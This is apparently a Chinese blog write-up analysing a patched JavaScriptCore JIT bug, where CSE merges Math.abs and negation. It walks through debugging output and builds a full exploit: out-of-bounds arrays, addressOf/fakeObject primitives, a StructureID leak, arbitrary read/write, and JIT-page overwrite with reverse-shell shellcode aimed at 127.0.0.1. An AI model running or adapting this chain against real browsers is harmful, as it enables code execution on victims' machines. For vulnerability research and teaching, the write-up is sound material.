0x00 前言
编译器优化中有一项CSE(公共子表达式消除),如果JS引擎在执行时类型收集的不正确,将导致表达式被错误的消除引发类型混淆。
0x01 前置知识
CSE
公共子表达式消除即为了去掉那些相同的重复计算,使用代数变换将表达式替换,并删除多余的表达式,如
let c = Math.sqrt(a*a + a*a);
将被优化为
let tmp = a*a;
let c = Math.sqrt(tmp + tmp);
这样就节省了一次乘法,现在我们来看下列代码
let c = o.a;
f();
let d = o.a;
由于在两个表达式之间多了一个f()函数的调用,而函数中很有可能改变.a的值或者类型,因此这两个公共子表达式不能直接消除,编译器会收集o.a的类型信息,并跟踪f函数,收集信息,如果到f分析完毕,o.a的类型也没有改变,那么let d = o.a;就可以不用再次检查o.a的类型。
在JSC中,CSE优化需要考虑的信息在Source/JavaScriptCore/dfg/DFGClobberize.h
中被定义,从文件路径可以知道,这是一个在DFG阶段的相关优化,文件中有一个clobberize
函数,
template<typename ReadFunctor, typename WriteFunctor, typename DefFunctor>
void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFunctor& write, const DefFunctor& def)
{
.............................................
case CompareEqPtr:
def(PureValue(node, node->cellOperand()->cell()));
return;
..............................................
clobberize函数中的def
操作定义了CSE优化时需要考虑的因素,例如上面的def(PureValue(node, node->cellOperand()->cell()));
,如果要对CompareEqPtr
运算进行CSE优化,需要考虑的因素除了value本身的值,还需要的是Operand(操作数)的类型(cell)。
边界检查消除
与V8的checkbounds消除类似,当数组的下标分析确定在数组的大小范围之内,则可以消除边界检查,但如果编译器本身的检查方式出现溢出等问题,编译器认为idx在范围之内而实际则可能不在范围内,错误的消除边界检查将导致数组溢出。
为了研究JSC在什么条件下可以消除边界检查,我们使用如下代码进行测试调试
function foo(arr,idx) {
idx = idx | 0;
if (idx < arr.length) {
if (idx & 0x3) {
idx += -2;
}
if (idx >= 0) {
return arr[idx];
}
}
}
var arr = [1.1,2.2,3.3,4.4,5.5,6.6];
for (var i=0;i<0xd0000;i++) {
foo(arr,2);
}
debug(describe(arr));
print();
debug(foo(arr,0x3));
给print的函数断点用于中断脚本以进行调试b *printInternal
,运行时加上-p选项将优化时的数据输出为json,从json文件中,我们看到foo函数的字节码
[ 0] enter
[ 1] get_scope loc4
[ 3] mov loc5, loc4
[ 6] check_traps
[ 7] bitor arg2, arg2, Int32: 0(const0)
[ 12] get_by_id loc6, arg1, 0
[ 17] jnless arg2, loc6, 29(->46)
[ 21] bitand loc6, arg2, Int32: 3(const1)
[ 26] jfalse loc6, 9(->35)
[ 29] add arg2, arg2, Int32: -2(const2), OperandTypes(126, 3)
[ 35] jngreatereq arg2, Int32: 0(const0), 11(->46)
[ 39] get_by_val loc6, arg1, arg2
[ 44] ret loc6
[ 46] ret Undefined(const3)
其中[ 39] get_by_val loc6, arg1, arg2
用于从数组中取出数据,在DFG JIT时,其展开的汇编代码为
0x7fffaf101fa3: mov $0x7fffaef0bb48, %r11
0x7fffaf101fad: mov (%r11), %r11
0x7fffaf101fb0: test %r11, %r11
0x7fffaf101fb3: jz 0x7fffaf101fc0
0x7fffaf101fb9: mov $0x113, %r11d
0x7fffaf101fbf: int3
0x7fffaf101fc0: mov $0x7fffaef000dc, %r11
0x7fffaf101fca: mov $0x0, (%r11)
0x7fffaf101fce: cmp -0x8(%rdx), %esi
0x7fffaf101fd1: jae 0x7fffaf1024cb
0x7fffaf101fd7: movsd (%rdx,%rsi,8), %xmm0
0x7fffaf101fdc: ucomisd %xmm0, %xmm0
0x7fffaf101fe0: jp 0x7fffaf1024f2
其中的
0x7fffaf101fce: cmp -0x8(%rdx), %esi
0x7fffaf101fd1: jae 0x7fffaf1024cb
用于检查下标是否越界,可见DFG JIT阶段并不会去除边界检查,尽管我们在代码中使用了if语句将idx限定在了数组的长度范围之内。边界检查去除表现在FTL JIT的汇编代码中,从json文件中可以看到FTL JIT时,对字节码字节码[ 39] get_by_val loc6, arg1, arg2
的展开如下
D@86:<!0:-> ExitOK(MustGen, W:SideState, bc#39, ExitValid)
D@63:<!0:-> CountExecution(MustGen, 0x7fffac9cf140, R:InternalState, W:InternalState, bc#39, ExitValid)
D@66:<!2:-> GetByVal(KnownCell:Kill:D@14, Int32:Kill:D@10, Check:Untyped:Kill:D@68, Check:Untyped:D@10, Double|MustGen|VarArgs|UseAsOther, AnyIntAsDouble|NonIntAsDouble, Double+OriginalCopyOnWriteArray+InBounds+AsIs+Read, R:Butterfly_publicLength,IndexedDoubleProperties, Exits, bc#39, ExitValid) predicting NonIntAsDouble
D@85:<!0:-> KillStack(MustGen, loc6, W:Stack(loc6), ClobbersExit, bc#39, ExitInvalid)
D@67:<!0:-> MovHint(DoubleRep:D@66<Double>, MustGen, loc6, W:SideState, ClobbersExit, bc#39, ExitInvalid)
ValueRep(DoubleRep:Kill:D@66<Double>, JS|PureInt, BytecodeDouble, bc#39, exit: bc#44, ExitValid)
从中可以看到GetByVal
中传递的参数中含有InBounds
标记,那么其汇编代码中将不会检查下标是否越界,因为前面已经确定下标在范围内。为了查看FTL JIT生成的汇编代码,我们使用gdb调试,遇到print语句时会断点停下
此时,我们对butterfly
中对应的位置下一个硬件读断点,然后继续运行
pwndbg> rwatch *0x7ff803ee4018
Hardware read watchpoint 79: *0x7ff803ee4018
pwndbg> c
Continuing.
然后断点断下
0x7fffaf101b9c movabs r11, 0x7fffaef000dc
0x7fffaf101ba6 mov byte ptr [r11], 0
0x7fffaf101baa cmp esi, dword ptr [rdx - 8]
0x7fffaf101bad jae 0x7fffaf102071 <0x7fffaf102071>
0x7fffaf101bb3 movsd xmm0, qword ptr [rdx + rsi*8]
► 0x7fffaf101bb8 ucomisd xmm0, xmm0
0x7fffaf101bbc jp 0x7fffaf102098 <0x7fffaf102098>
我们发现这仍然存在cmp esi, dword ptr [rdx - 8]
检查了下标,这是由于FTL JIT
是延迟优化的,可能还没优化过来,我们按照前面的步骤重新试一下
0x7fffaf1039fa mov eax, 0xa
0x7fffaf103a00 mov rsp, rbp
0x7fffaf103a03 pop rbp
0x7fffaf103a04 ret
0x7fffaf103a05 movsd xmm0, qword ptr [rdx + rax*8]
► 0x7fffaf103a0a ucomisd xmm0, xmm0
0x7fffaf103a0e jp 0x7fffaf103aeb <0x7fffaf103aeb>
发现这次,边界检查被去除了,为了查看更多的代码片段,我们使用gdb的dump命令将这段代码dump出来用IDA分析
pwndbg> vmmap 0x7fffaf103a0a
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7fffaf0ff000 0x7fffaf104000 rwxp 5000 0 +0x4a0a
pwndbg> dump memory ./2.bin 0x7fffaf0ff000 0x7fffaf104000
pwndbg>
可以看到语句
if (idx & 0x3) {
idx += -2;
}
执行完毕后,无需再一次检查idx < arr.length
,因为这是一个减法操作,正常情况下idx减去一个正数肯定会变小,小于arr.length,因此就去掉了边界检查。
0x02 漏洞分析利用
patch分析
diff --git a/Source/JavaScriptCore/dfg/DFGClobberize.h b/Source/JavaScriptCore/dfg/DFGClobberize.h
index b2318fe03aed41e0309587e7df90769cb04e3c49..5b34ec5bd8524c03b39a1b33ba2b2f64b3f563e1 100644 (file)
--- a/Source/JavaScriptCore/dfg/DFGClobberize.h
+++ b/Source/JavaScriptCore/dfg/DFGClobberize.h
@@ -228,7 +228,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu
case ArithAbs:
if (node->child1().useKind() == Int32Use || node->child1().useKind() == DoubleRepUse)
- def(PureValue(node));
+ def(PureValue(node, node->arithMode()));
else {
read(World);
write(Heap);
@@ -248,7 +248,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu
if (node->child1().useKind() == Int32Use
|| node->child1().useKind() == DoubleRepUse
|| node->child1().useKind() == Int52RepUse)
- def(PureValue(node));
+ def(PureValue(node, node->arithMode()));
else {
read(World);
write(Heap);
该patch修复了漏洞,从patch中可以知道,这原本是一个跟CSE优化有关的漏洞,patch中加入了node->arithMode()
参数,那么在CSE优化时,不仅要考虑操作数的值,还要考虑算术运算中出现的溢出等因素,即使最终的值一样,如果其中一个表达式是溢出的,也不能进行CSE优化。
POC构造
首先从patch可以知道,修改的内容分别在ArithAbs
和ArithNegate
分支,它们分别对应了JS中的Math.abs
和-
运算。
尝试构造如下代码
function foo(n) {
if (n < 0) {
let a = -n;
let b = Math.abs(n);
debug(b);
}
}
for (var i=0;i<0x30000;i++) {
foo(-2);
}
foo部分字节码如下
[ 17] negate loc7, arg1, 126
..........
[ 48] call loc6, loc8, 2, 18
分别代表了-n和Math.abs(n);,在DFG JIT阶段,其展开为如下
[ 17]
CountExecution
GetLocal
ArithNegate(Int32:D@39, Int32|PureInt, Int32, Unchecked, Exits, bc#17, ExitValid)
MovHint
[ 48]
CountExecution
FilterCallLinkStatus
ArithAbs(Int32:D@39, Int32|UseAsOther, Int32, CheckOverflow, Exits, bc#48, ExitValid)
Phantom
Phantom
MovHint
在FTL JIT阶段,代码变化如下
[ 17]
CountExecution
ArithNegate(Int32:Kill:D@76, Int32|PureInt, Int32, Unchecked, Exits, bc#17, ExitValid)
KillStack
ZombieHint
[ 48]
CountExecution
FilterCallLinkStatus
KillStack
ZombieHint
可以看到ArithAbs
被去除了,这就是漏洞所在,ArithAbs
与ArithNegate
的不同点在于,ArithNegate
不检查溢出,而ArithAbs
会检查溢出,因此对于0x80000000这个值,-0x80000000
值仍然为-0x80000000
,是一个32位数据,而Math.abs(-0x80000000)
将扩展位数,值为0x80000000
。显然编译器没有察觉到这一点,将ArithAbs
与ArithNegate
认为是公共子表达式,于是便可以进行互相替换。
因此构造的POC如下
function foo(n) {
if (n < 0) {
let a = -n;
let b = Math.abs(n);
debug(b);
}
}
for (var i=0;i<0xc0000;i++) {
foo(-2);
}
foo(-0x80000000);
程序输出如下
..............
--> 2
--> 2
--> 2
--> 2
--> 2
--> -2147483648
可以看到,这个值并不是Math.abs(-0x80000000)
的准确值。
OOB数组构造
利用边界检查消除来进行数组的溢出
function foo(arr,n) {
if (n < 0) {
let a = -n;
let idx = Math.abs(n);
if (idx < arr.length) { //确定在边界之内
if (idx & 0x80000000) { //对于0x80000000,我们减去一个数,以将idx变换到任意正值
idx += -0x7ffffffd;
}
if (idx >= 0) { //确定在边界之内
return arr[idx]; //溢出
}
}
}
}
var arr = [1.1,2.2,3.3];
for (var i=0;i<0xc0000;i++) {
foo(arr,-2);
}
debug(foo(arr,-0x80000000));
因为编译器的错误优化,idx是一个32位数,那么idx < arr.length
的检查通过,那么后续的return arr[idx]; //溢出
将不会检查右边界,因此可以溢出数据。通过测试,发现POC有时可以成功溢出,有时不能
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> 1.5488838078e-314
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> undefined
这是因为漏洞最终发生在FTL JIT
,这个是延迟优化的,可能在执行最后的debug(foo(arr,-0x80000000));
还没生成好JIT代码,因此具有微小的随机性,不影响漏洞利用。为了查看FTL JIT的汇编代码,我们使用前面介绍的方法,对arr的butterfly
下硬件断点,然后停下时将代码片段dump出来
seg000:00007FFFAF10346F mov ecx, eax
seg000:00007FFFAF103471 neg ecx
seg000:00007FFFAF103473 mov rdx, [rdx+8]
seg000:00007FFFAF103477 cmp ecx, [rdx-8]
seg000:00007FFFAF10347A jl loc_7FFFAF103496
seg000:00007FFFAF103480 mov dword ptr [rsi+737C1Ch], 1
seg000:00007FFFAF10348A mov rax, 0Ah
seg000:00007FFFAF103491 mov rsp, rbp
seg000:00007FFFAF103494 pop rbp
seg000:00007FFFAF103495 retn
seg000:00007FFFAF103496 ; ---------------------------------------------------------------------------
seg000:00007FFFAF103496
seg000:00007FFFAF103496 loc_7FFFAF103496: ; CODE XREF: seg000:00007FFFAF10347A↑j
seg000:00007FFFAF103496 test ecx, 80000000h
seg000:00007FFFAF10349C jnz loc_7FFFAF1034E8
seg000:00007FFFAF1034A2 test ecx, ecx
seg000:00007FFFAF1034A4 jns loc_7FFFAF1034C0
................
seg000:00007FFFAF1034E8 loc_7FFFAF1034E8: ; CODE XREF: seg000:00007FFFAF10349C↑j
seg000:00007FFFAF1034E8 mov rcx, 0FFFFFFFF80000003h
seg000:00007FFFAF1034EF sub ecx, eax
seg000:00007FFFAF1034F1 test ecx, ecx
seg000:00007FFFAF1034F3 jns loc_7FFFAF1034C0
seg000:00007FFFAF1034F9 jmp loc_7FFFAF1034AA
................
seg000:00007FFFAF1034C0 loc_7FFFAF1034C0: ; CODE XREF: seg000:00007FFFAF1034A4↑j
seg000:00007FFFAF1034C0 ; seg000:00007FFFAF1034F3↓j
seg000:00007FFFAF1034C0 mov eax, ecx
seg000:00007FFFAF1034C2 movsd xmm0, qword ptr [rdx+rax*8]
seg000:00007FFFAF1034C7 ucomisd xmm0, xmm0
seg000:00007FFFAF1034CB jp loc_7FFFAF1035A8
seg000:00007FFFAF1034D1 movq rax, xmm0
seg000:00007FFFAF1034D6 sub rax, rdi
seg000:00007FFFAF1034D9 mov dword ptr [rsi+737C1Ch], 1
seg000:00007FFFAF1034E3 mov rsp, rbp
seg000:00007FFFAF1034E6 pop rbp
seg000:00007FFFAF1034E7 retn
从中可以看出,上述汇编代码正好印证了我们前面的分析,neg ecx
代表了Math.abs()
,然后cmp ecx, [rdx-8]
比较右边界,但由于ecx是32位,0x80000000比较通过,然后
seg000:00007FFFAF1034E8 mov rcx, 0FFFFFFFF80000003h
seg000:00007FFFAF1034EF sub ecx, eax
使得ecx为3,最后通过
seg000:00007FFFAF1034C0 mov eax, ecx
seg000:00007FFFAF1034C2 movsd xmm0, qword ptr [rdx+rax*8]
进行数组溢出读取数据。那么我们可以用同样的方法,越界写改写下一个数组对象butterfly
中的length
和capacity
,从而构造一个oob的数组对象。首先要在内存上布局三个相邻的数组对象
arr0 ArrayWithDouble,
arr1 ArrayWithDouble,
arr2 ArrayWithContiguous,
通过arr0溢出改写arr1的length
和capacity
,即可将arr1构造为oob的数组
var arr = [1.1,2.2,3.3];
var oob_arr= [2.2,3.3,4.4];
var obj_arr = [{},{},{}];
debug(describe(arr));
debug(describe(oob_arr));
debug(describe(obj_arr));
print();
发现三个数组的butterfly
不相邻,并且类型不大对
--> Object: 0x7fffef1a83e8 with butterfly 0x7fe00cee4010 (Structure 0x7fffae7f99e0:[0xee79, Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 61049
--> Object: 0x7fffef1a8468 with butterfly 0x7fe00cee4040 (Structure 0x7fffae7f99e0:[0xee79, Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 61049
--> Object: 0x7fffef1a84e8 with butterfly 0x7fe00cefda48 (Structure 0x7fffae7f9860:[0xe077, Array, {}, ArrayWithContiguous, Proto:0x7fffef1bc2e8]), StructureID: 57463
前两个类型为CopyOnWriteArrayWithDouble
,导致它们与arr2的butterfly
不相邻,于是尝试这样构造
let noCow = 13.37;
var arr = [noCow,2.2,3.3];
var oob_arr = [noCow,2.2,3.3];
var obj_arr = [{},{},{}];
debug(describe(arr));
debug(describe(oob_arr));
debug(describe(obj_arr));
print();
--> Object: 0x7fffef1a6168 with butterfly 0x7fe01e4fda48 (Structure 0x7fffae7f9800:[0xcd04, Array, {}, ArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 52484
--> Object: 0x7fffef1a61e8 with butterfly 0x7fe01e4fda68 (Structure 0x7fffae7f9800:[0xcd04, Array, {}, ArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 52484
--> Object: 0x7fffef1a6268 with butterfly 0x7fe01e4fda88 (Structure 0x7fffae7f9860:[0x5994, Array, {}, ArrayWithContiguous, Proto:0x7fffef1bc2e8]), StructureID: 22932
这回就相邻了,然后我们利用前面的漏洞构造oob数组
function foo(arr,n) {
if (n < 0) {
let a = -n;
let idx = Math.abs(n);
if (idx < arr.length) { //确定在边界之内
if (idx & 0x80000000) { //对于0x80000000,我们减去一个数,以将idx变换到任意正值
idx += -0x7ffffffd;
}
if (idx >= 0) { //确定在边界之内
arr[idx] = 1.04380972981885e-310; //溢出
}
}
}
}
let noCow = 13.37;
var arr = [noCow,2.2,3.3];
var oob_arr = [noCow,2.2,3.3];
var obj_arr = [{},{},{}];
for (var i=0;i<0xc0000;i++) {
foo(arr,-2);
}
foo(arr,-0x80000000);
debug(oob_arr.length);
输出如下,需要多次尝试,原因前面说过
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> 3
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> 3
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> 3
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> 4919
利用oob_arr和obj_arr即可轻松构造出addressOf和fakeObject原语
泄露StructureID
getByVal
在新版的JSC中,加入了StructureID随机化机制,使得我们前面介绍的喷射对象,并猜测StructureID的方法变得困难,成功率极大降低。因此需要使用其他方法,一种方法是利用getByVal
,
static ALWAYS_INLINE JSValue getByVal(VM& vm, JSGlobalObject* globalObject, CodeBlock* codeBlock, JSValue baseValue, JSValue subscript, OpGetByVal bytecode)
{
..............................
if (subscript.isUInt32()) {
.......................
} else if (baseValue.isObject()) {
JSObject* object = asObject(baseValue);
if (object->canGetIndexQuickly(i))
return object->getIndexQuickly(i);
其中canGetIndexQuickly
源码如下
bool canGetIndexQuickly(unsigned i) const
{
const Butterfly* butterfly = this->butterfly();
switch (indexingType()) {
...............
case ALL_DOUBLE_INDEXING_TYPES: {
if (i >= butterfly->vectorLength())
return false;
double value = butterfly->contiguousDouble().at(this, i);
if (value != value)
return false;
return true;
}
............
}
getIndexQuickly代码如下
JSValue getIndexQuickly(unsigned i) const
{
.............
case ALL_DOUBLE_INDEXING_TYPES:
return JSValue(JSValue::EncodeAsDouble, butterfly->contiguousDouble().at(this, i));
...............
}
}
从上面可以知道getIndexQuickly
这条路径不会使用到StructureID,那么如何触发getByVal
呢?经过测试,发现对不是数组类型
的对象,使用[]
运算符可以触发到getByVal
var a = {x:1};
var b = a[0];
debug(b);
print();
因此,我们可以尝试构造一个假的StructureID,使得它匹配StructureID时发现不是数组类型,就可以调用到getByVal
var arr_leak = new Array(noCow,2.2,3.3);
function leak_structureID(obj) {
let jscell_double = p64f(0x00000000,0x01062307);
let container = {
jscell:jscell_double,
butterfly:obj
}
let container_addr = addressOf(container);
let hax = fakeObject(container_addr[0]+0x10,container_addr[1]);
f64[0] = hax[0];
let structureID = u32[0];
//修复JSCell
u32[1] = 0x01082307 - 0x20000;
container.jscell = f64[0];;
return structureID;
}
var structureID = leak_structureID(arr_leak);
debug(structureID);
print();
调试如下
baseValue.isObject()判断通过,将进入分支
► 962 } else if (baseValue.isObject()) {
963 JSObject* object = asObject(baseValue);
964 if (object->canGetIndexQuickly(i))
965 return object->getIndexQuickly(i);
966
967 bool skipMarkingOutOfBounds = false;
pwndbg> p baseValue.isObject()
$3 = true
接下来,我们跟踪进入canGetIndexQuickly
函数
In file: /home/sea/Desktop/WebKit/Source/JavaScriptCore/runtime/JSObject.h
272 return false;
273 case ALL_INT32_INDEXING_TYPES:
274 case ALL_CONTIGUOUS_INDEXING_TYPES:
275 return i < butterfly->vectorLength() && butterfly->contiguous().at(this, i);
276 case ALL_DOUBLE_INDEXING_TYPES: {
► 277 if (i >= butterfly->vectorLength())
278 return false;
279 double value = butterfly->contiguousDouble().at(this, i);
280 if (value != value)
281 return false;
282 return true;
pwndbg> p butterfly->vectorLength()
$11 = 32767
这里获取了容量,如果i在长度范围之内,则返回true,即可成功取得数据。由于这里我们是将arr_leak
这个对象当成了butterfly
,因此容量也就是&arr_leak-0x4处的数据,即
pwndbg> x /2wx 0x7fffef1613e8-0x8
0x7fffef1613e0: 0xef1561a0 0x00007fff
与32767对应上了。由此我们看出,这种方法的条件是&arr_leak-0x4处的数据要大于0即可
,因此可以在内存布局的时候在arr_leak
前面布置一个数组并用数据填充。如果不在前面布局一个数组用于填充,则利用程序将受到随机化的影响而不稳定。
Function.prototype.toString.call
另一个方法是通过toString() 函数的调用链来实现任意地址读数据,主要就是伪造调用链中的结构,最终使得identifier
指向需要泄露的地址处,然后使用Function.prototype.toString.call
获得任意地址处的数据,可参考文章
function leak_structureID2(obj) {
// https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf
var unlinkedFunctionExecutable = {
m_isBuitinFunction: i2f(0xdeadbeef),
pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6,
m_identifier: {},
};
var fakeFunctionExecutable = {
pad0: 0, pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6, pad7: 7, pad8: 8,
m_executable: unlinkedFunctionExecutable,
};
var container = {
jscell: i2f(0x00001a0000000000),
butterfly: {},
pad: 0,
m_functionExecutable: fakeFunctionExecutable,
};
let fakeObjAddr = addressOf(container);
let fakeObj = fakeObject(fakeObjAddr[0] + 0x10,fakeObjAddr[1]);
unlinkedFunctionExecutable.m_identifier = fakeObj;
container.butterfly = obj;
var nameStr = Function.prototype.toString.call(fakeObj);
let structureID = nameStr.charCodeAt(9);
// repair the fakeObj's jscell
u32[0] = structureID;
u32[1] = 0x01082309-0x20000;
container.jscell = f64[0];
return structureID;
}
任意地址读写原语
在泄露了StructureID以后,就可以伪造数组对象进行任意地址读写了
var structureID = leak_structureID2(arr_leak);
u32[0] = structureID;
u32[1] = 0x01082309-0x20000;
//debug(describe(arr_leak));
debug('[+] structureID=' + structureID);
var victim = [1.1,2.2,3.3];
victim['prop'] = 23.33;
var container = {
jscell:f64[0],
butterfly:victim
}
var container_addr = addressOf(container);
var hax = fakeObject(container_addr[0]+0x10,container_addr[1]);
var padding = [1.1,2.2,3.3,4.4];
var unboxed = [noCow,2.2,3.3];
var boxed = [{}];
/*debug(describe(unboxed));
debug(describe(boxed));
debug(describe(victim));
debug(describe(hax));
*/
hax[1] = unboxed;
var sharedButterfly = victim[1];
hax[1] = boxed;
victim[1] = sharedButterfly;
function NewAddressOf(obj) {
boxed[0] = obj;
return u64f(unboxed[0]);
}
function NewFakeObject(addr_l,addr_h) {
var addr = p64f(addr_l,addr_h);
unboxed[0] = addr;
return boxed[0];
}
function read64(addr_l,addr_h) {
//必须保证在vicim[-1]处有数据,即used slots和max slots字段,否则将导致读取失败
//因此我们换用另一种方法,即利用property去访问
hax[1] = NewFakeObject(addr_l + 0x10,addr_h);
return NewAddressOf(victim.prop);
}
function write64(addr_l,addr_h,double_val) {
hax[1] = NewFakeObject(addr_l + 0x10,addr_h);
victim.prop = double_val;
}
劫持JIT编译的代码
var shellcodeFunc = getJITFunction();
shellcodeFunc();
var shellcodeFunc_addr = NewAddressOf(shellcodeFunc);
var executable_base_addr = read64(shellcodeFunc_addr[0] + 0x18,shellcodeFunc_addr[1]);
var jit_code_addr = read64(executable_base_addr[0] + 0x8,executable_base_addr[1]);
var rwx_addr = read64(jit_code_addr[0] + 0x20,jit_code_addr[1]);
debug("[+] shellcodeFunc_addr=" + shellcodeFunc_addr[1].toString(16) + shellcodeFunc_addr[0].toString(16));
debug("[+] executable_base_addr=" + executable_base_addr[1].toString(16) + executable_base_addr[0].toString(16));
debug("[+] jit_code_addr=" + jit_code_addr[1].toString(16) + jit_code_addr[0].toString(16));
debug("[+] rwx_addr=" + rwx_addr[1].toString(16) + rwx_addr[0].toString(16));
const shellcode = [
0x31, 0xD2, 0x31, 0xF6, 0x40, 0xB6, 0x01, 0x31, 0xFF, 0x40, 0xB7, 0x02, 0x31, 0xC0, 0xB0, 0x29,
0x0F, 0x05, 0x89, 0x44, 0x24, 0xF8, 0x89, 0xC7, 0x48, 0xB8, 0x02, 0x00, 0x09, 0x1D, 0x7F, 0x00,
0x00, 0x01, 0x48, 0x89, 0x04, 0x24, 0x48, 0x89, 0xE6, 0xB2, 0x10, 0x48, 0x31, 0xC0, 0xB0, 0x2A,
0x0F, 0x05, 0x8B, 0x7C, 0x24, 0xF8, 0x31, 0xF6, 0xB0, 0x21, 0x0F, 0x05, 0x40, 0xB6, 0x01, 0x8B,
0x7C, 0x24, 0xF8, 0xB0, 0x21, 0x0F, 0x05, 0x40, 0xB6, 0x02, 0x8B, 0x7C, 0x24, 0xF8, 0xB0, 0x21,
0x0F, 0x05, 0x48, 0xB8, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00, 0x48, 0x89, 0x44, 0x24,
0xF0, 0x48, 0x31, 0xF6, 0x48, 0x31, 0xD2, 0x48, 0x8D, 0x7C, 0x24, 0xF0, 0x48, 0x31, 0xC0, 0xB0,
0x3B, 0x0F, 0x05
];
function ByteToDwordArray(payload)
{
let sc = []
let tmp = 0;
let len = Math.ceil(payload.length/6)
for (let i = 0; i < len; i += 1) {
tmp = 0;
pow = 1;
for(let j=0; j<6; j++){
let c = payload[i*6+j]
if(c === undefined) {
c = 0;
}
pow = j==0 ? 1 : 256 * pow;
tmp += c * pow;
}
tmp += 0xc000000000000;
sc.push(tmp);
}
return sc;
}
//debug(describe(shellcodeFunc));
//debug(shellcode.length);
//替换jit的shellcode
let sc = ByteToDwordArray(shellcode);
for(let i=0; i<sc.length; i++) {
write64(rwx_addr[0] + i*6,rwx_addr[1],i2f(sc[i]));
}
debug("trigger shellcode")
//执行shellcode
print();
shellcodeFunc();
print();
这里,我们使用ByteToDwordArray
将shellcode转为6字节有效数据每个的数组,这样是为了在write64时能一次写入6个有效数据,减少for(let i=0; i<sc.length; i++)
的次数,避免write64
被JIT编译,否则会报错崩溃,原因是因为我们伪造的对象未通过编译时的某些检查,但这不影响我们漏洞利用。
结果展示
0x03 感想
通过本次研究学习,理解了JSC的边界检查消除机制,同时也对JSC中的CSE有了一些了解,其与V8之间也非常的相似。
0x04 参考
FireShell2020——从一道ctf题入门jsc利用
WebKit Commitdiff
eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods
JITSploitation I:JIT编译器漏洞分析
Project Zero: JITSploitation I: A JIT Bug
发表评论
您还未登录,请先登录。
登录